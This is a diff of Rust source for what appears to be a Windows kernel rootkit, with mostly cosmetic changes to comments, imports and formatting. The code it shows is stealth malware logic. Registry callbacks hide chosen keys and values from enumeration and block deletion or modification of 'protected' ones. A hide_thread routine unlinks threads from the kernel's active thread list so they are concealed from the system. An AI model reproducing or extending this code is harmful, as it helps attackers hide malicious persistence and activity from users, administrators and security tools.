///
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// * `_callback_context` - A pointer to the callback context, usually not used.
|
/// * `_callback_context` - A pointer to the callback context.
|
||||||
/// * `argument1` - A pointer to the notification class.
|
/// * `argument1` - A pointer to the notification class.
|
||||||
/// * `argument2` - A pointer to the information related to the registry operation.
|
/// * `argument2` - A pointer to the information related to the registry operation.
|
||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * A status code indicating the result of the operation.
|
/// A status code indicating the result of the operation.
|
||||||
pub unsafe extern "C" fn registry_callback(
|
pub unsafe extern "C" fn registry_callback(
|
||||||
_callback_context: *mut c_void,
|
_callback_context: *mut c_void,
|
||||||
argument1: *mut c_void,
|
argument1: *mut c_void,
|
||||||
@@ -78,7 +73,7 @@ pub unsafe extern "C" fn registry_callback(
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * A status code indicating success or failure.
|
/// A status code indicating success or failure.
|
||||||
unsafe fn pre_delete_key(info: *mut REG_DELETE_KEY_INFORMATION) -> NTSTATUS {
|
unsafe fn pre_delete_key(info: *mut REG_DELETE_KEY_INFORMATION) -> NTSTATUS {
|
||||||
let status;
|
let status;
|
||||||
if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) {
|
if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) {
|
||||||
@@ -107,7 +102,7 @@ unsafe fn pre_delete_key(info: *mut REG_DELETE_KEY_INFORMATION) -> NTSTATUS {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * Returns the status of the operation. If the key value is found and handled correctly, returns `STATUS_SUCCESS`.
|
/// The status of the operation. If the key value is found and handled correctly, returns `STATUS_SUCCESS`.
|
||||||
unsafe fn post_enumerate_key_value(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTATUS {
|
unsafe fn post_enumerate_key_value(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTATUS {
|
||||||
if !NT_SUCCESS((*info).Status) {
|
if !NT_SUCCESS((*info).Status) {
|
||||||
return (*info).Status;
|
return (*info).Status;
|
||||||
@@ -165,7 +160,8 @@ unsafe fn post_enumerate_key_value(info: *mut REG_POST_OPERATION_INFORMATION) ->
|
|||||||
&mut result_length,
|
&mut result_length,
|
||||||
) {
|
) {
|
||||||
if !Registry::check_target(key.clone(), value_name.clone(), HIDE_KEY_VALUES.lock()) {
|
if !Registry::check_target(key.clone(), value_name.clone(), HIDE_KEY_VALUES.lock()) {
|
||||||
if let Some(pre_info_key_info) = (pre_info.KeyValueInformation as *mut c_void).as_mut() {
|
if let Some(pre_info_key_info) = (pre_info.KeyValueInformation as *mut c_void).as_mut()
|
||||||
|
{
|
||||||
*(*pre_info).ResultLength = result_length;
|
*(*pre_info).ResultLength = result_length;
|
||||||
core::ptr::copy_nonoverlapping(
|
core::ptr::copy_nonoverlapping(
|
||||||
buffer,
|
buffer,
|
||||||
@@ -195,7 +191,7 @@ unsafe fn post_enumerate_key_value(info: *mut REG_POST_OPERATION_INFORMATION) ->
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * Returns the status of the operation, keeping the original status if the previous operation failed.
|
/// The status of the operation, keeping the original status if the previous operation failed.
|
||||||
unsafe fn post_enumerate_key(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTATUS {
|
unsafe fn post_enumerate_key(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTATUS {
|
||||||
if !NT_SUCCESS((*info).Status) {
|
if !NT_SUCCESS((*info).Status) {
|
||||||
return (*info).Status;
|
return (*info).Status;
|
||||||
@@ -281,7 +277,7 @@ unsafe fn post_enumerate_key(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTA
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * A status code indicating success or failure.
|
/// A status code indicating success or failure.
|
||||||
unsafe fn pre_query_key(info: *mut REG_QUERY_KEY_INFORMATION) -> NTSTATUS {
|
unsafe fn pre_query_key(info: *mut REG_QUERY_KEY_INFORMATION) -> NTSTATUS {
|
||||||
let status;
|
let status;
|
||||||
if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) {
|
if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) {
|
||||||
@@ -310,7 +306,7 @@ unsafe fn pre_query_key(info: *mut REG_QUERY_KEY_INFORMATION) -> NTSTATUS {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * A status code indicating success or failure.
|
/// A status code indicating success or failure.
|
||||||
unsafe fn pre_delete_value_key(info: *mut REG_DELETE_VALUE_KEY_INFORMATION) -> NTSTATUS {
|
unsafe fn pre_delete_value_key(info: *mut REG_DELETE_VALUE_KEY_INFORMATION) -> NTSTATUS {
|
||||||
if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) {
|
if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) {
|
||||||
return STATUS_SUCCESS;
|
return STATUS_SUCCESS;
|
||||||
@@ -330,7 +326,8 @@ unsafe fn pre_delete_value_key(info: *mut REG_DELETE_VALUE_KEY_INFORMATION) -> N
|
|||||||
return STATUS_SUCCESS;
|
return STATUS_SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
let buffer = core::slice::from_raw_parts((*value_name).Buffer, ((*value_name).Length / 2) as usize);
|
let buffer =
|
||||||
|
core::slice::from_raw_parts((*value_name).Buffer, ((*value_name).Length / 2) as usize);
|
||||||
let name = String::from_utf16_lossy(buffer);
|
let name = String::from_utf16_lossy(buffer);
|
||||||
if Registry::<(String, String)>::check_target(
|
if Registry::<(String, String)>::check_target(
|
||||||
key.clone(),
|
key.clone(),
|
||||||
@@ -351,7 +348,7 @@ unsafe fn pre_delete_value_key(info: *mut REG_DELETE_VALUE_KEY_INFORMATION) -> N
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * A status code indicating success or failure.
|
/// A status code indicating success or failure.
|
||||||
unsafe fn pre_set_value_key(info: *mut REG_SET_VALUE_KEY_INFORMATION) -> NTSTATUS {
|
unsafe fn pre_set_value_key(info: *mut REG_SET_VALUE_KEY_INFORMATION) -> NTSTATUS {
|
||||||
if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) {
|
if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) {
|
||||||
return STATUS_SUCCESS;
|
return STATUS_SUCCESS;
|
||||||
@@ -371,7 +368,8 @@ unsafe fn pre_set_value_key(info: *mut REG_SET_VALUE_KEY_INFORMATION) -> NTSTATU
|
|||||||
return STATUS_SUCCESS;
|
return STATUS_SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
let buffer = core::slice::from_raw_parts((*value_name).Buffer, ((*value_name).Length / 2) as usize);
|
let buffer =
|
||||||
|
core::slice::from_raw_parts((*value_name).Buffer, ((*value_name).Length / 2) as usize);
|
||||||
let name = String::from_utf16_lossy(buffer);
|
let name = String::from_utf16_lossy(buffer);
|
||||||
if Registry::check_target(key.clone(), name.clone(), PROTECTION_KEY_VALUES.lock()) {
|
if Registry::check_target(key.clone(), name.clone(), PROTECTION_KEY_VALUES.lock()) {
|
||||||
STATUS_ACCESS_DENIED
|
STATUS_ACCESS_DENIED
|
||||||
@@ -388,8 +386,7 @@ unsafe fn pre_set_value_key(info: *mut REG_SET_VALUE_KEY_INFORMATION) -> NTSTATU
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Ok(String)` - The key name.
|
/// The key name.
|
||||||
/// * `Err(NTSTATUS)` - error status.
|
|
||||||
unsafe fn read_key<T: RegistryInfo>(info: *mut T) -> Result<String, NTSTATUS> {
|
unsafe fn read_key<T: RegistryInfo>(info: *mut T) -> Result<String, NTSTATUS> {
|
||||||
let mut reg_path = core::ptr::null::<UNICODE_STRING>();
|
let mut reg_path = core::ptr::null::<UNICODE_STRING>();
|
||||||
let status = CmCallbackGetKeyObjectIDEx(
|
let status = CmCallbackGetKeyObjectIDEx(
|
||||||
@@ -2,7 +2,7 @@ use alloc::{
|
|||||||
string::{String, ToString},
|
string::{String, ToString},
|
||||||
vec::Vec,
|
vec::Vec,
|
||||||
};
|
};
|
||||||
use spin::{Mutex, MutexGuard, lazy::Lazy};
|
use spin::{lazy::Lazy, Mutex, MutexGuard};
|
||||||
use wdk_sys::{NTSTATUS, STATUS_DUPLICATE_OBJECTID, STATUS_SUCCESS, STATUS_UNSUCCESSFUL};
|
use wdk_sys::{NTSTATUS, STATUS_DUPLICATE_OBJECTID, STATUS_SUCCESS, STATUS_UNSUCCESSFUL};
|
||||||
|
|
||||||
use common::structs::TargetRegistry;
|
use common::structs::TargetRegistry;
|
||||||
@@ -19,33 +19,22 @@ pub use utils::*;
|
|||||||
const MAX_REGISTRY: usize = 100;
|
const MAX_REGISTRY: usize = 100;
|
||||||
|
|
||||||
/// List of protection key-value pairs.
|
/// List of protection key-value pairs.
|
||||||
///
|
|
||||||
/// This list stores key-value pairs that are protected.
|
|
||||||
/// It is guarded by a mutex to ensure thread-safe access.
|
|
||||||
pub static PROTECTION_KEY_VALUES: Lazy<Mutex<Vec<(String, String)>>> =
|
pub static PROTECTION_KEY_VALUES: Lazy<Mutex<Vec<(String, String)>>> =
|
||||||
Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_REGISTRY)));
|
Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_REGISTRY)));
|
||||||
|
|
||||||
/// List of protection keys.
|
/// List of protection keys.
|
||||||
///
|
|
||||||
/// This list stores keys that are protected. It is guarded by a mutex to ensure thread-safe access.
|
|
||||||
static PROTECTION_KEYS: Lazy<Mutex<Vec<String>>> =
|
static PROTECTION_KEYS: Lazy<Mutex<Vec<String>>> =
|
||||||
Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_REGISTRY)));
|
Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_REGISTRY)));
|
||||||
|
|
||||||
/// List of hidden keys.
|
/// List of hidden keys.
|
||||||
///
|
|
||||||
/// This list stores keys that have been hidden. It is protected by a mutex for thread-safe operations.
|
|
||||||
static HIDE_KEYS: Lazy<Mutex<Vec<String>>> =
|
static HIDE_KEYS: Lazy<Mutex<Vec<String>>> =
|
||||||
Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_REGISTRY)));
|
Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_REGISTRY)));
|
||||||
|
|
||||||
/// List of hidden key-value pairs.
|
/// List of hidden key-value pairs.
|
||||||
///
|
|
||||||
/// This list stores key-value pairs that have been hidden. It is protected by a mutex for thread-safe operations.
|
|
||||||
static HIDE_KEY_VALUES: Lazy<Mutex<Vec<(String, String)>>> =
|
static HIDE_KEY_VALUES: Lazy<Mutex<Vec<(String, String)>>> =
|
||||||
Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_REGISTRY)));
|
Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_REGISTRY)));
|
||||||
|
|
||||||
/// Trait defining common operations for registry lists.
|
/// Trait defining common operations for registry lists.
|
||||||
///
|
|
||||||
/// This trait provides methods for adding, removing, and checking items in registry lists.
|
|
||||||
trait RegistryList<T> {
|
trait RegistryList<T> {
|
||||||
/// Adds an item to the registry list.
|
/// Adds an item to the registry list.
|
||||||
///
|
///
|
||||||
@@ -56,7 +45,7 @@ trait RegistryList<T> {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * Status code indicating success (`STATUS_SUCCESS`), duplicate (`STATUS_DUPLICATE_OBJECTID`),
|
/// Status code indicating success (`STATUS_SUCCESS`), duplicate (`STATUS_DUPLICATE_OBJECTID`),
|
||||||
/// or failure (`STATUS_UNSUCCESSFUL`).
|
/// or failure (`STATUS_UNSUCCESSFUL`).
|
||||||
fn add_item(list: &mut Vec<T>, item: T) -> NTSTATUS;
|
fn add_item(list: &mut Vec<T>, item: T) -> NTSTATUS;
|
||||||
|
|
||||||
@@ -69,7 +58,7 @@ trait RegistryList<T> {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * Status code indicating success (`STATUS_SUCCESS`) or failure (`STATUS_UNSUCCESSFUL`).
|
/// Status code indicating success (`STATUS_SUCCESS`) or failure (`STATUS_UNSUCCESSFUL`).
|
||||||
fn remove_item(list: &mut Vec<T>, item: &T) -> NTSTATUS;
|
fn remove_item(list: &mut Vec<T>, item: &T) -> NTSTATUS;
|
||||||
|
|
||||||
/// Checks if an item is in the registry list.
|
/// Checks if an item is in the registry list.
|
||||||
@@ -81,7 +70,7 @@ trait RegistryList<T> {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * Returns `true` if the item is in the list, `false` otherwise.
|
/// If the item is in the list.
|
||||||
fn contains_item(list: &Vec<T>, item: &T) -> bool;
|
fn contains_item(list: &Vec<T>, item: &T) -> bool;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -144,9 +133,6 @@ impl RegistryList<String> for Vec<String> {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/// Structure representing registry operations.
|
/// Structure representing registry operations.
|
||||||
///
|
|
||||||
/// The `Registry<T>` structure handles operations for adding, removing, and checking keys or key-value pairs
|
|
||||||
/// in the registry.
|
|
||||||
pub struct Registry<T> {
|
pub struct Registry<T> {
|
||||||
_marker: PhantomData<T>,
|
_marker: PhantomData<T>,
|
||||||
}
|
}
|
||||||
@@ -161,7 +147,7 @@ impl Registry<(String, String)> {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * Status code indicating success (`STATUS_SUCCESS`) or failure (`STATUS_UNSUCCESSFUL`).
|
/// Status code indicating success (`STATUS_SUCCESS`) or failure (`STATUS_UNSUCCESSFUL`).
|
||||||
pub fn modify_key_value(target: *mut TargetRegistry, type_: Type) -> NTSTATUS {
|
pub fn modify_key_value(target: *mut TargetRegistry, type_: Type) -> NTSTATUS {
|
||||||
let key = unsafe { (*target).key.clone() };
|
let key = unsafe { (*target).key.clone() };
|
||||||
let value = unsafe { (*target).value.clone() };
|
let value = unsafe { (*target).value.clone() };
|
||||||
@@ -199,7 +185,7 @@ impl Registry<(String, String)> {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * Returns `true` if the key-value pair exists in the list, or `false` otherwise.
|
/// If the key-value pair exists in the list,
|
||||||
pub fn check_target(
|
pub fn check_target(
|
||||||
key: String,
|
key: String,
|
||||||
value: String,
|
value: String,
|
||||||
@@ -219,7 +205,7 @@ impl Registry<String> {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * Status code indicating success (`STATUS_SUCCESS`) or failure (`STATUS_UNSUCCESSFUL`).
|
/// Status code indicating success (`STATUS_SUCCESS`) or failure (`STATUS_UNSUCCESSFUL`).
|
||||||
pub fn modify_key(target: *mut TargetRegistry, list_type: Type) -> NTSTATUS {
|
pub fn modify_key(target: *mut TargetRegistry, list_type: Type) -> NTSTATUS {
|
||||||
let key = unsafe { &(*target).key }.to_string();
|
let key = unsafe { &(*target).key }.to_string();
|
||||||
let enable = unsafe { (*target).enable };
|
let enable = unsafe { (*target).enable };
|
||||||
@@ -255,7 +241,7 @@ impl Registry<String> {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * Returns `true` if the key exists in the list, or `false` otherwise.
|
/// If the key exists in the list
|
||||||
pub fn check_key(key: String, list: MutexGuard<Vec<String>>) -> bool {
|
pub fn check_key(key: String, list: MutexGuard<Vec<String>>) -> bool {
|
||||||
Vec::contains_item(&list, &key)
|
Vec::contains_item(&list, &key)
|
||||||
}
|
}
|
||||||
@@ -4,21 +4,18 @@ use core::{ffi::c_void, mem::size_of, slice::from_raw_parts};
|
|||||||
use wdk::println;
|
use wdk::println;
|
||||||
use wdk_sys::*;
|
use wdk_sys::*;
|
||||||
use wdk_sys::{
|
use wdk_sys::{
|
||||||
|
ntddk::{ZwEnumerateKey, ZwEnumerateValueKey},
|
||||||
_KEY_INFORMATION_CLASS::{KeyBasicInformation, KeyNameInformation},
|
_KEY_INFORMATION_CLASS::{KeyBasicInformation, KeyNameInformation},
|
||||||
_KEY_VALUE_INFORMATION_CLASS::{
|
_KEY_VALUE_INFORMATION_CLASS::{
|
||||||
KeyValueBasicInformation, KeyValueFullInformation, KeyValueFullInformationAlign64,
|
KeyValueBasicInformation, KeyValueFullInformation, KeyValueFullInformationAlign64,
|
||||||
},
|
},
|
||||||
ntddk::{ZwEnumerateKey, ZwEnumerateValueKey},
|
|
||||||
};
|
};
|
||||||
|
|
||||||
use super::{HIDE_KEY_VALUES, HIDE_KEYS, Registry};
|
use super::{Registry, HIDE_KEYS, HIDE_KEY_VALUES};
|
||||||
use alloc::{format, string::String};
|
use alloc::{format, string::String};
|
||||||
|
|
||||||
/// Checks if a specified registry key is present in the list of hidden keys.
|
/// Checks if a specified registry key is present in the list of hidden keys.
|
||||||
///
|
///
|
||||||
/// This function checks if the provided registry key exists among the list of hidden keys, using
|
|
||||||
/// the information from the registry operation.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// * `info` - Pointer to the operation information structure containing registry details.
|
/// * `info` - Pointer to the operation information structure containing registry details.
|
||||||
@@ -26,7 +23,7 @@ use alloc::{format, string::String};
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * Returns `true` if the key is found in the hidden keys list, otherwise returns `false`.
|
/// If the key is found in the hidden keys list
|
||||||
pub unsafe fn check_key(info: *mut REG_POST_OPERATION_INFORMATION, key: String) -> bool {
|
pub unsafe fn check_key(info: *mut REG_POST_OPERATION_INFORMATION, key: String) -> bool {
|
||||||
// Extracting pre-information from the registry operation
|
// Extracting pre-information from the registry operation
|
||||||
let info_class = (*info).PreInformation as *mut REG_ENUMERATE_KEY_INFORMATION;
|
let info_class = (*info).PreInformation as *mut REG_ENUMERATE_KEY_INFORMATION;
|
||||||
@@ -68,9 +65,6 @@ pub unsafe fn check_key(info: *mut REG_POST_OPERATION_INFORMATION, key: String)
|
|||||||
|
|
||||||
/// Checks if a specified registry key-value pair is present in the list of hidden key-values.
|
/// Checks if a specified registry key-value pair is present in the list of hidden key-values.
|
||||||
///
|
///
|
||||||
/// This function checks if the provided registry key-value pair exists among the list of hidden key-values,
|
|
||||||
/// using information from the registry value operation.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// * `info` - Pointer to the operation information structure containing registry value details.
|
/// * `info` - Pointer to the operation information structure containing registry value details.
|
||||||
@@ -78,7 +72,7 @@ pub unsafe fn check_key(info: *mut REG_POST_OPERATION_INFORMATION, key: String)
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * Returns `true` if the key-value pair is found in the hidden key-values list, otherwise returns `false`.
|
/// If the key-value pair is found in the hidden key-values list,
|
||||||
pub unsafe fn check_key_value(info: *mut REG_POST_OPERATION_INFORMATION, key: String) -> bool {
|
pub unsafe fn check_key_value(info: *mut REG_POST_OPERATION_INFORMATION, key: String) -> bool {
|
||||||
// Extracting pre-information from the registry operation
|
// Extracting pre-information from the registry operation
|
||||||
let info_class = (*info).PreInformation as *const REG_ENUMERATE_VALUE_KEY_INFORMATION;
|
let info_class = (*info).PreInformation as *const REG_ENUMERATE_VALUE_KEY_INFORMATION;
|
||||||
@@ -118,9 +112,6 @@ pub unsafe fn check_key_value(info: *mut REG_POST_OPERATION_INFORMATION, key: St
|
|||||||
|
|
||||||
/// Enumerates the specified registry key and retrieves its name.
|
/// Enumerates the specified registry key and retrieves its name.
|
||||||
///
|
///
|
||||||
/// This function enumerates the registry key based on the provided index and information class,
|
|
||||||
/// returning the key name in the desired format.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// * `key_handle` - Handle of the target registry key.
|
/// * `key_handle` - Handle of the target registry key.
|
||||||
@@ -132,8 +123,7 @@ pub unsafe fn check_key_value(info: *mut REG_POST_OPERATION_INFORMATION, key: St
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * Returns `Some(String)` containing the name of the registry key if successful,
|
/// Containing the name of the registry key if successful,
|
||||||
/// otherwise returns `None`.
|
|
||||||
pub unsafe fn enumerate_key(
|
pub unsafe fn enumerate_key(
|
||||||
key_handle: HANDLE,
|
key_handle: HANDLE,
|
||||||
index: u32,
|
index: u32,
|
||||||
@@ -189,9 +179,6 @@ pub unsafe fn enumerate_key(
|
|||||||
|
|
||||||
/// Enumerates the values of the specified registry key.
|
/// Enumerates the values of the specified registry key.
|
||||||
///
|
///
|
||||||
/// This function enumerates the values of the registry key based on the provided index and information class,
|
|
||||||
/// returning the value name in the desired format.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// * `key_handle` - Handle of the target registry key.
|
/// * `key_handle` - Handle of the target registry key.
|
||||||
@@ -203,8 +190,7 @@ pub unsafe fn enumerate_key(
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * Returns `Some(String)` containing the name of the registry key value if successful,
|
/// Containing the name of the registry key value if successful.
|
||||||
/// otherwise returns `None`.
|
|
||||||
pub unsafe fn enumerate_value_key(
|
pub unsafe fn enumerate_value_key(
|
||||||
key_handle: HANDLE,
|
key_handle: HANDLE,
|
||||||
index: u32,
|
index: u32,
|
||||||
@@ -250,14 +236,12 @@ pub unsafe fn enumerate_value_key(
|
|||||||
}
|
}
|
||||||
|
|
||||||
/// Trait for accessing the object in registry information.
|
/// Trait for accessing the object in registry information.
|
||||||
///
|
|
||||||
/// This trait defines a method to retrieve a pointer to the registry object from different registry information structures.
|
|
||||||
pub trait RegistryInfo {
|
pub trait RegistryInfo {
|
||||||
/// Retrieves a pointer to the registry object.
|
/// Retrieves a pointer to the registry object.
|
||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * A raw pointer to the registry object.
|
/// A raw pointer to the registry object.
|
||||||
fn get_object(&self) -> *mut c_void;
|
fn get_object(&self) -> *mut c_void;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -295,6 +279,7 @@ impl RegistryInfo for REG_POST_OPERATION_INFORMATION {
|
|||||||
pub enum Type {
|
pub enum Type {
|
||||||
/// Hides the specified key or key-value.
|
/// Hides the specified key or key-value.
|
||||||
Hide,
|
Hide,
|
||||||
|
|
||||||
/// Protects the specified key or key-value from being modified.
|
/// Protects the specified key or key-value from being modified.
|
||||||
Protect,
|
Protect,
|
||||||
}
|
}
|
||||||
@@ -1,16 +1,12 @@
|
|||||||
use alloc::vec::Vec;
|
use alloc::vec::Vec;
|
||||||
|
use common::structs::TargetThread;
|
||||||
use spin::{lazy::Lazy, mutex::Mutex};
|
use spin::{lazy::Lazy, mutex::Mutex};
|
||||||
use wdk_sys::{ntddk::*, *};
|
use wdk_sys::{ntddk::*, *};
|
||||||
|
|
||||||
use common::structs::TargetThread;
|
|
||||||
use crate::{
|
use crate::{
|
||||||
Result,
|
error::{ShadowError, ShadowResult},
|
||||||
error::ShadowError,
|
|
||||||
lock::with_push_lock_exclusive,
|
lock::with_push_lock_exclusive,
|
||||||
offsets::{
|
offsets::{get_thread_list_entry_offset, get_thread_lock_offset},
|
||||||
get_thread_list_entry_offset,
|
|
||||||
get_thread_lock_offset
|
|
||||||
},
|
|
||||||
};
|
};
|
||||||
|
|
||||||
// Max Number TIDS
|
// Max Number TIDS
|
||||||
@@ -21,27 +17,18 @@ pub static THREAD_INFO_HIDE: Lazy<Mutex<Vec<TargetThread>>> =
|
|||||||
Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_TID)));
|
Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_TID)));
|
||||||
|
|
||||||
/// Represents a thread in the operating system.
|
/// Represents a thread in the operating system.
|
||||||
///
|
|
||||||
/// The `Thread` struct provides a safe abstraction over the `ETHREAD` structure used
|
|
||||||
/// in Windows kernel development. It allows for looking up a thread by its TID and ensures
|
|
||||||
/// proper cleanup of resources when the structure goes out of scope.
|
|
||||||
pub struct Thread {
|
pub struct Thread {
|
||||||
/// Pointer to the ETHREAD structure, used for managing thread information.
|
/// Pointer to the ETHREAD structure, used for managing thread information.
|
||||||
pub e_thread: PETHREAD,
|
pub e_thread: PETHREAD,
|
||||||
}
|
}
|
||||||
|
|
||||||
impl Thread {
|
impl Thread {
|
||||||
/// Creates a new `Thread` instance by looking up a thread by its TID.
|
/// Creates a new [`Thread`].
|
||||||
///
|
///
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// * `tid` - The thread identifier (TID) of the thread to be looked up.
|
/// * `tid` - The thread identifier (TID) of the thread to be looked up.
|
||||||
///
|
///
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// * `Ok(Self)` - Returns a `Thread` instance if the thread lookup is successful.
|
|
||||||
/// * `Err(ShadowError)` - Returns an error message if the lookup fails.
|
|
||||||
///
|
|
||||||
/// # Examples
|
/// # Examples
|
||||||
///
|
///
|
||||||
/// ```rust,ignore
|
/// ```rust,ignore
|
||||||
@@ -52,35 +39,20 @@ impl Thread {
|
|||||||
/// }
|
/// }
|
||||||
/// ```
|
/// ```
|
||||||
#[inline]
|
#[inline]
|
||||||
pub fn new(tid: usize) -> Result<Self> {
|
pub fn new(tid: usize) -> ShadowResult<Self> {
|
||||||
let mut e_thread = core::ptr::null_mut();
|
let mut e_thread = core::ptr::null_mut();
|
||||||
|
|
||||||
let status = unsafe { PsLookupThreadByThreadId(tid as _, &mut e_thread) };
|
let status = unsafe { PsLookupThreadByThreadId(tid as _, &mut e_thread) };
|
||||||
if NT_SUCCESS(status) {
|
if NT_SUCCESS(status) {
|
||||||
Ok(Self { e_thread })
|
Ok(Self { e_thread })
|
||||||
} else {
|
} else {
|
||||||
Err(ShadowError::ApiCallFailed("PsLookupThreadByThreadId", status))
|
Err(ShadowError::ApiCallFailed(
|
||||||
|
"PsLookupThreadByThreadId",
|
||||||
|
status,
|
||||||
|
))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
|
||||||
/// Implements the `Drop` trait for the `Thread` structure to handle cleanup when the structure goes out of scope.
|
|
||||||
///
|
|
||||||
/// The `Drop` implementation ensures that the reference count on the `ETHREAD` structure
|
|
||||||
/// is properly decremented when the `Thread` instance is dropped. This prevents resource leaks.
|
|
||||||
impl Drop for Thread {
|
|
||||||
/// Cleans up the resources held by the `Thread` structure.
|
|
||||||
///
|
|
||||||
/// This method decrements the reference count of the `ETHREAD` structure when the
|
|
||||||
/// `Thread` instance is dropped, ensuring proper cleanup.
|
|
||||||
fn drop(&mut self) {
|
|
||||||
if !self.e_thread.is_null() {
|
|
||||||
unsafe { ObfDereferenceObject(self.e_thread.cast()) };
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
impl Thread {
|
|
||||||
/// Hides a thread by removing it from the active thread list in the operating system.
|
/// Hides a thread by removing it from the active thread list in the operating system.
|
||||||
///
|
///
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
@@ -89,10 +61,9 @@ impl Thread {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Ok(LIST_ENTRY)` - Returns the previous `LIST_ENTRY` containing the pointers to the neighboring threads
|
/// The previous `LIST_ENTRY` containing the pointers to the neighboring threads
|
||||||
/// in the list before it was modified.
|
/// in the list before it was modified.
|
||||||
/// * `Err(ShadowError)` - Returns an error if the thread lookup fails or the operation encounters an issue.
|
pub unsafe fn hide_thread(tid: usize) -> ShadowResult<LIST_ENTRY> {
|
||||||
pub unsafe fn hide_thread(tid: usize) -> Result<LIST_ENTRY> {
|
|
||||||
// Getting offsets based on the Windows build number
|
// Getting offsets based on the Windows build number
|
||||||
let active_thread_link = get_thread_list_entry_offset();
|
let active_thread_link = get_thread_list_entry_offset();
|
||||||
let offset_lock = get_thread_lock_offset();
|
let offset_lock = get_thread_lock_offset();
|
||||||
@@ -141,9 +112,8 @@ impl Thread {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Ok(NTSTATUS)` - Indicates the thread was successfully restored to the active list.
|
/// Indicates the thread was successfully restored to the active list.
|
||||||
/// * `Err(ShadowError)` - Returns an error if the thread lookup fails or the operation encounters an issue.
|
pub unsafe fn unhide_thread(tid: usize, list_entry: PLIST_ENTRY) -> ShadowResult<NTSTATUS> {
|
||||||
pub unsafe fn unhide_thread(tid: usize, list_entry: PLIST_ENTRY) -> Result<NTSTATUS> {
|
|
||||||
// Getting offsets based on the Windows build number
|
// Getting offsets based on the Windows build number
|
||||||
let active_thread_link = get_thread_list_entry_offset();
|
let active_thread_link = get_thread_list_entry_offset();
|
||||||
let offset_lock = get_thread_lock_offset();
|
